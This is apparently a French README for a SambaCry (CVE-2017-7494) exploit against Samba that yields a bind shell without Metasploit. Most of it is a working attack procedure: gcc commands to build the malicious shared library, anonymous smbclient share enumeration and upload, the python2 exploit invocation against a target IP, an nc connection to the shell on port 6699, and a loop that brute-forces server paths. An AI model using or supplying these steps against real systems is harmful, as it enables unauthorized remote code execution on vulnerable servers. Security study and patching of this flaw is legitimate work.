
Exploit SambaCry (CVE-2017-7494) pour Samba | bind shell sans Metasploit
Exploit SambaCry (CVE-2017-7494) pour exploiter Samba (bind shell sans Metasploit)
Si vous devez changer le port, il suffit de modifier la ligne n°68 dans bindshell-samba.c et de recompiler :

gcc -c -fpic bindshell-samba.c
gcc -shared -o libbindshell-samba.so bindshell-samba.o
Comment exploiter :
Voir les partages (dans cet exemple, nous utilisons un utilisateur anonyme) :
smbclient -L //192.168.10.131/ -U "" -N
Sharename Type Comment
--------- ---- -------
print$ Disk Printer Drivers
publico Disk Publico
IPC$ IPC IPC Service (maq131 server (Samba, Ubuntu))
Reconnecting with SMB1 for workgroup listing.
Server Comment
--------- -------
Workgroup Master
--------- -------
WORKGROUP CHORA
Accédez à un dossier et vérifiez si l'utilisateur a des permissions d'écriture :
smbclient //192.168.10.131/publico -U "" -N
Si vous avez des permissions d'écriture, envoyez le fichier libbindshell-samba.so
smb: \> mput libbindshell-samba.so
Put file libbindshell-samba.so? yes
putting file libbindshell-samba.so as \libbindshell-samba.so (3.5 kb/s) (average 3.5 kb/s)
smb: \> dir
. D 0 Tue Nov 1 19:44:15 2022
.. D 0 Wed Jun 14 14:16:35 2017
libbindshell-samba.so A 8432 Tue Nov 1 19:44:17 2022
3997376 blocks of size 1024. 1960284 blocks available
smb: \>
Ensuite, il suffit d'exécuter l'exploit :
python2 exploit.py -t target_ip -m path_absoluto_server_side
Exemple :
python2 exploit.py -t 192.168.10.131 -m /home/publico/libbindshell-samba.so
Connectez-vous sur le port 6699/TCP :
nc -vn 192.168.10.131 6699
Si vous ne connaissez pas le chemin absolu côté serveur, il est conseillé de procéder par guessing et d'attendre l'ouverture du port 6699/TCP :
for i in $(cat paths.txt);do python2 exploit.py -t 192.168.10.131 -m $i/publico/libbindshell-samba.so 2>/dev/null;done